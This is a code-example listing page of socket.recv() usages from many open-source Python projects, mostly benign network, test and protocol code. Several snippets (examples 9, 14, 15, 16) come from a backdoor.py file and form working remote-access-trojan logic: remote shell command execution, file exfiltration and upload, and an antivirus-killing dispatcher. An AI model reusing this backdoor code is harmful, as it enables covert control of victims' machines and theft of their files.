Python socket.recv() Examples

The following are 30 code examples of socket.recv(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module socket , or try the search function .
Example #1
Source File: tva.py    From movistartv2xmltv with GNU General Public License v2.0 6 votes vote down vote up
def _getchunk(self,socket):
        #Struct of header - first 12 bytes
        # end   xmlsize   type   ?  id        chunk# *10   total chunks     \0
        # --   --------   -----  ------  ----  ---------  -------------      --
        # 00   00 00 00    F1    X 0 00   00     00 00          00           00
        #FIXME: XMLsize print is incorrect
        data = socket.recv(1500)
        chunk = {}
        chunk["end"] = struct.unpack('B',data[:1])[0]
        chunk["size"] = struct.unpack('>HB',data[1:4])[0]
        chunk["filetype"] = struct.unpack('B',data[4:5])[0]
        chunk["fileid"] = struct.unpack('>H',data[5:7])[0]&0x0fff
        chunk["chunk_number"] = struct.unpack('>H',data[8:10])[0]/0x10
        chunk["chunk_total"] = struct.unpack('B',data[10:11])[0]
        chunk["data"] = data[12:]
        self.logger.debug("Chunk "+str(chunk["chunk_number"])+"/"+str(chunk["chunk_total"])+" ---- e:"+str(chunk["end"])+" s:"+        str(chunk["size"])+" f:"+str(chunk["fileid"]))
        return chunk 
Example #2
Source File: test_connection.py    From serfclient-py with MIT License 6 votes vote down vote up
def test_connection_closed(self, rpc):
        rpc.handshake()

        # Mock socket.recv returning an empty string, as it does when the
        # connection has been closed.
        class MockSocket:
            def sendall(self, content):
                pass

            def recv(self, size):
                return ""

            def close(self):
                pass

        rpc._socket = MockSocket()

        with pytest.raises(connection.SerfConnectionError):
            rpc.handshake() 
Example #3
Source File: DH.py    From networking with GNU General Public License v3.0 6 votes vote down vote up
def initDiffieHellman(self, socket):
		socket.send("connected".encode())
		step1 = socket.recv(5000)
		if self.__debugflag:
			print(step1)
		jsonData = json.loads(step1.decode())
		jsonData = jsonData["dh-keyexchange"]
		self.__dh.base = int(jsonData["base"])
		self.__dh.sharedPrime = int(jsonData["prime"])
		publicSecret = int(jsonData["publicSecret"])
		calcedPubSecret = str(self.__dh.calcPublicSecret())
		step2 = "{"
		step2 += "\"dh-keyexchange\":"
		step2 += "{"
		step2 += "\"step\": {},".format(2)
		step2 += "\"publicSecret\": {}".format(calcedPubSecret)
		step2 += "}}"
		socket.send(step2.encode())
		self.__dh.calcSharedSecret(publicSecret) 
Example #4
Source File: client_da.py    From vscode-esp-idf-extension with Apache License 2.0 6 votes vote down vote up
def _read_from_socket(self):
        """
        Read socket.recv to the readed_jsons queue

        Returns
        -------

        """
        data = ""
        try:
            data = self.__socket.recv(SOCKET_BUFFER_SIZE)
        except socket.timeout:
            self.state["Errors"] = True
            raise socket.timeout("Error! Socket did not get info, when expected")
        if not data:
            s = "Empty"
        else:
            s = data.decode('utf-8')
        print("\n === Read from socket === \n%s\n" % s)
        self._load_to_queue(s) 
Example #5
Source File: DH.py    From networking with GNU General Public License v3.0 6 votes vote down vote up
def initDiffieHellman(self):
		if self.request.recv(1024).decode() != "connected":
			print("Error while connecting")
		publicSecret = self.__dh.calcPublicSecret()
		step1 = "{"
		step1 += "\"dh-keyexchange\":"
		step1 += "{"
		step1 += "\"step\": {},".format(1)
		step1 += "\"base\": {},".format(self.__dh.base)
		step1 += "\"prime\": {},".format(self.__dh.sharedPrime)
		step1 += "\"publicSecret\": {}".format(publicSecret)
		step1 += "}}"
		self.request.send(step1.encode())
		step2 = self.request.recv(1024)
		if self.__debugflag:
			print(step2)
		jsonData = json.loads(step2.decode())
		jsonData = jsonData["dh-keyexchange"]
		publicSecret = int(jsonData["publicSecret"])
		self.__dh.calcSharedSecret(publicSecret) 
Example #6
Source File: nagios_exporter.py    From prometheus-nagios-exporter with Apache License 2.0 6 votes vote down vote up
def _receive(self, count):
        """Reads data from the livestatus plugin."""
        results = []
        while count > 0:
            try:
                data = self._sock.recv(count)
            except socket.error as err:
                raise NagiosResponseError(err)
            if len(data) == 0:
                msg = 'Failed to read data from nagios server.'
                raise NagiosResponseError(msg)
            count -= len(data)

            # socket.recv() returns str in Python 2 and bytes in Python 3
            if sys.version_info[0] >= 3:
                data = data.decode()

            results.append(data)
        return ''.join(results) 
Example #7
Source File: qemu_monitor.py    From avocado-vt with GNU General Public License v2.0 6 votes vote down vote up
def _recvall(self):
        """
        Receive btyes from socket.recv().

        return s type: bytes
        """
        s = b""
        while self._data_available():
            try:
                data = self._socket.recv(1024)
            except socket.error as e:
                raise MonitorSocketError("Could not receive data from monitor",
                                         e)
            if not data:
                self._server_closed = True
                break
            s += data
        return s 
Example #8
Source File: client.py    From testplan with Apache License 2.0 6 votes vote down vote up
def receive(self, size, timeout=30):
        """
        Receive a message.

        :param size: Number of bytes to receive.
        :type size: ``int``
        :param timeout: Timeout in seconds.
        :type timeout: ``int``
        :return: message received
        :rtype: ``bytes``
        """
        if timeout != self._timeout:
            self._timeout = timeout
        self._client.settimeout(timeout)
        try:
            msg = self._client.recv(size)
        except Exception:
            if timeout == 0:
                raise socket.timeout
            raise
        return msg 
Example #9
Source File: backdoor.py    From RSB-Framework with GNU General Public License v3.0 6 votes vote down vote up
def download(s):
    filename = s.recv(1024)
    print(filename)
    if(os.path.isfile(filename)):
        with open(filename, 'rb') as f: 
            l = f.read(1024)
            l = 'True+/-' + l
            while(l):
                s.send(l)
                l = f.read(1024)

        print('sent')
        s.shutdown(s.SHUT_WR)

    else:
        s.send('False') 
Example #10
Source File: test_ssh.py    From airflow with Apache License 2.0 6 votes vote down vote up
def test_tunnel(self):
        hook = SSHHook(ssh_conn_id='ssh_default')

        import subprocess
        import socket

        subprocess_kwargs = dict(
            args=["python", "-c", HELLO_SERVER_CMD],
            stdout=subprocess.PIPE,
        )
        with subprocess.Popen(**subprocess_kwargs) as server_handle, hook.create_tunnel(2135, 2134):
            server_output = server_handle.stdout.read(5)
            self.assertEqual(b"ready", server_output)
            socket = socket.socket()
            socket.connect(("localhost", 2135))
            response = socket.recv(5)
            self.assertEqual(response, b"hello")
            socket.close()
            server_handle.communicate()
            self.assertEqual(server_handle.returncode, 0) 
Example #11
Source File: ht_proxy_if.py    From hometop_HT3 with GNU General Public License v3.0 6 votes vote down vote up
def __waitfor_client_register(self):
        self.request.settimeout(5)
        try:
            devicetypetmp=self.request.recv(20)
            self._client_devicetype = devicetypetmp.decode('utf-8')
            _ClientHandler.log_info("Client-ID:{0}; register(); got devicetype:{1}".format(self._myownID,self._client_devicetype))
            #send client-ID to client
            sendtemp=str(self._myownID)
            self.request.sendall(sendtemp.encode("utf-8"))
        except socket.timeout:
            _ClientHandler.log_critical("Client-ID:{0}; Timeout occured, no devicetype was send".format(self._myownID))
            raise
        except socket.error as e:
            # Something else happened, handle error, exit, etc.
            _ClientHandler.log_critical("Client-ID:{0}; error '{1}' on socket.recv or socket.send".format(self._myownID, e))
            raise
        except Exception as e:
            _ClientHandler.log_critical("Client-ID:{0}; unkown error '{1}'".format(self._myownID,e))
            raise
        finally:
            self.request.settimeout(None) 
Example #12
Source File: ht_proxy_if.py    From hometop_HT3 with GNU General Public License v3.0 6 votes vote down vote up
def read(self, size=1):
        """Read size bytes from the connected socket. It will block
           until the requested number of bytes are read.
        """
        if self._socket==None:
            raise ("Client-ID:{0}; cht_socket_client.read(); error:socket not initialised".format(self._clientID))
        read=bytearray()
        while len(read) < size:
            try:
                buffer=self._socket.recv(size)
            except:
                self._socket.close()
                self.log_critical("Client-ID:{0}; cht_socket_client.read(); error on socket.recv".format(self._clientID))
                raise

            if not buffer:
                self._socket.close()
                self.log_critical("Client-ID:{0}; cht_socket_client.read(); peer closed socket".format(self._clientID))
                raise
            else:
                read.extend(buffer)

        return bytes(read) 
Example #13
Source File: test_socket.py    From BinderFilter with MIT License 6 votes vote down vote up
def testRecv(self):
        # Testing non-blocking recv
        conn, addr = self.serv.accept()
        conn.setblocking(0)
        try:
            msg = conn.recv(len(MSG))
        except socket.error:
            pass
        else:
            self.fail("Error trying to do non-blocking recv.")
        read, write, err = select.select([conn], [], [])
        if conn in read:
            msg = conn.recv(len(MSG))
            conn.close()
            self.assertEqual(msg, MSG)
        else:
            self.fail("Error during select call to non-blocking socket.") 
Example #14
Source File: backdoor.py    From RSB-Framework with GNU General Public License v3.0 5 votes vote down vote up
def execute(socket):
    while True:
        try:
            data = socket.recv(1)
            if(not data): # servidor desconectou, recomeça
                return
            else:
                try:
                    if(data=='1'): # servidor envia arquivos para a vitma -> envio de novos virus
                        upload(socket)
                    elif(data=='2'): # shell reversa -> servidor se conecta a maquina do infectado
                        shell(socket)
                    elif(data=='3'): # Download
                        download(socket)
                    elif(data == '4'): # Killav
                        kill_antivirus()
                    elif(data == '5'): # screenshot
                        screenshot(socket)
                    elif(data == '6'):
                        programa = socket.recv(1024)
                        print(programa)
                        run_program(socket, programa)
                    elif(data == '7'):
                        geolocation(socket)
                    else:
                        print(data)

                except:
                    return
        except: # algum erro ocorreu, recomeça
            return 
Example #15
Source File: backdoor.py    From RSB-Framework with GNU General Public License v3.0 5 votes vote down vote up
def shell(s):
    while True:
        data = s.recv(1024)
        if(not data or data=='exit'):
            break
        if(data == 'shell'):
            pass
        else:
            if(data.split(' ')[0] == 'cd'): # trocar de diretorio
                try:
                    directory = (data.split(' ')[1])
                    if(os.path.isdir(directory)):
                        path = os.chdir(directory.rstrip('\n'))
                        local = os.getcwd()
                        s.send(local)
                    else:
                        s.send('caminho não existe\n'+ os.getcwd())
                except Exception as e:
                    s.send('Error -> '+ e)
            else: 
                command = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)    # CRIAR THREADS PARA RODAR PROGRAMAS -> NÃO TER QUE ESPERAR O PROGRAMA FECHAR
                ret = command.stdout.read() + command.stderr.read()
                if(ret == ''):
                    s.send('done')
                else:
                    s.send(ret) 
Example #16
Source File: backdoor.py    From RSB-Framework with GNU General Public License v3.0 5 votes vote down vote up
def upload(s):
    l = s.recv(1024)
    filename = l.split('+/-')[0]
    print(filename)

    with open(filename,'wb') as f: 
        l = l.split('+/-')[1]
        j = s.recv(1024)
        l = l + j
        while (l):
            f.write(l)
            l = s.recv(1024) 
Example #17
Source File: test_socket.py    From oss-ftp with MIT License 5 votes vote down vote up
def testRecv(self):
        # Testing non-blocking recv
        conn, addr = self.serv.accept()
        conn.setblocking(0)
        try:
            msg = conn.recv(len(MSG))
        except socket.error:
            pass
        else:
            self.fail("Error trying to do non-blocking recv.")
        read, write, err = select.select([conn], [], [])
        if conn in read:
            msg = conn.recv(len(MSG))
            conn.close()
            self.assertEqual(msg, MSG)
        else:
            self.fail("Error during select call to non-blocking socket.") 
Example #18
Source File: test_socket.py    From oss-ftp with MIT License 5 votes vote down vote up
def _testSend(self):
        msg = self.cli.recv(1024)
        self.assertEqual(msg, MSG) 
Example #19
Source File: pool.py    From satori with Apache License 2.0 5 votes vote down vote up
def _raise_connection_failure(self, error):
        # Catch *all* exceptions from socket methods and close the socket. In
        # regular Python, socket operations only raise socket.error, even if
        # the underlying cause was a Ctrl-C: a signal raised during socket.recv
        # is expressed as an EINTR error from poll. See internal_select_ex() in
        # socketmodule.c. All error codes from poll become socket.error at
        # first. Eventually in PyEval_EvalFrameEx the interpreter checks for
        # signals and throws KeyboardInterrupt into the current frame on the
        # main thread.
        #
        # But in Gevent and Eventlet, the polling mechanism (epoll, kqueue,
        # ...) is called in Python code, which experiences the signal as a
        # KeyboardInterrupt from the start, rather than as an initial
        # socket.error, so we catch that, close the socket, and reraise it.
        self.close()
        if isinstance(error, socket.error):
            _raise_connection_failure(self.address, error)
        else:
            raise error 
Example #20
Source File: test_socket.py    From oss-ftp with MIT License 5 votes vote down vote up
def testRecv(self):
        msg = self.serv.recv(1024)
        self.assertEqual(msg, MSG) 
Example #21
Source File: test_socket.py    From oss-ftp with MIT License 5 votes vote down vote up
def testClose(self):
        conn, addr = self.serv.accept()
        conn.close()

        sd = self.cli
        read, write, err = select.select([sd], [], [], 1.0)
        self.assertEqual(read, [sd])
        self.assertEqual(sd.recv(1), '') 
Example #22
Source File: test_socket.py    From oss-ftp with MIT License 5 votes vote down vote up
def testSendtoAndRecv(self):
        # Testing sendto() and Recv() over UDP
        msg = self.serv.recv(len(MSG))
        self.assertEqual(msg, MSG) 
Example #23
Source File: test_socket.py    From oss-ftp with MIT License 5 votes vote down vote up
def testDup(self):
        # Testing dup()
        sock = self.cli_conn.dup()
        self.addCleanup(sock.close)
        msg = sock.recv(1024)
        self.assertEqual(msg, MSG) 
Example #24
Source File: test_socket.py    From oss-ftp with MIT License 5 votes vote down vote up
def testFromFd(self):
        # Testing fromfd()
        fd = self.cli_conn.fileno()
        sock = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM)
        self.addCleanup(sock.close)
        msg = sock.recv(1024)
        self.assertEqual(msg, MSG) 
Example #25
Source File: test_socket.py    From oss-ftp with MIT License 5 votes vote down vote up
def testSendAll(self):
        # Testing sendall() with a 2048 byte string over TCP
        msg = ''
        while 1:
            read = self.cli_conn.recv(1024)
            if not read:
                break
            msg += read
        self.assertEqual(msg, 'f' * 2048) 
Example #26
Source File: test_socket.py    From oss-ftp with MIT License 5 votes vote down vote up
def testOverFlowRecv(self):
        # Testing receive in chunks over TCP
        seg1 = self.cli_conn.recv(len(MSG) - 3)
        seg2 = self.cli_conn.recv(1024)
        msg = seg1 + seg2
        self.assertEqual(msg, MSG) 
Example #27
Source File: test_socket.py    From oss-ftp with MIT License 5 votes vote down vote up
def testRecv(self):
        # Testing large receive over TCP
        msg = self.cli_conn.recv(1024)
        self.assertEqual(msg, MSG) 
Example #28
Source File: minitouch.py    From Airtest with Apache License 2.0 5 votes vote down vote up
def setup_client(self):
        """
        Setup client in following steps::

            1. connect to server
            2. receive the header
                v <version>
                ^ <max-contacts> <max-x> <max-y> <max-pressure>
                $ <pid>
            3. prepare to send

        Returns:
            None

        """
        s = SafeSocket()
        s.connect((self.adb.host, self.localport))
        s.sock.settimeout(2)
        header = b""
        while True:
            try:
                header += s.sock.recv(4096)  # size is not strict, so use raw socket.recv
            except socket.timeout:
                # raise RuntimeError("minitouch setup client error")
                warnings.warn("minitouch header not recved")
                break
            if header.count(b'\n') >= 3:
                break
        LOGGING.debug("minitouch header:%s", repr(header))
        self.client = s
        self.handle = self.safe_send 
Example #29
Source File: HoloFaceBackend.py    From DeepAlignmentNetwork with MIT License 5 votes vote down vote up
def ReadNBytes(socket, nBytes):
    data = ''
    while len(data) < nBytes:
        newData = socket.recv(min(1024, nBytes - len(data)))
        if not newData:
            print "Socket disconnected"
            return

        data += newData
    return data; 
Example #30
Source File: test_socket.py    From oss-ftp with MIT License 5 votes vote down vote up
def _testInsideTimeout(self):
        self.cli = sock = socket.create_connection((HOST, self.port))
        data = sock.recv(5)
        self.assertEqual(data, "done!")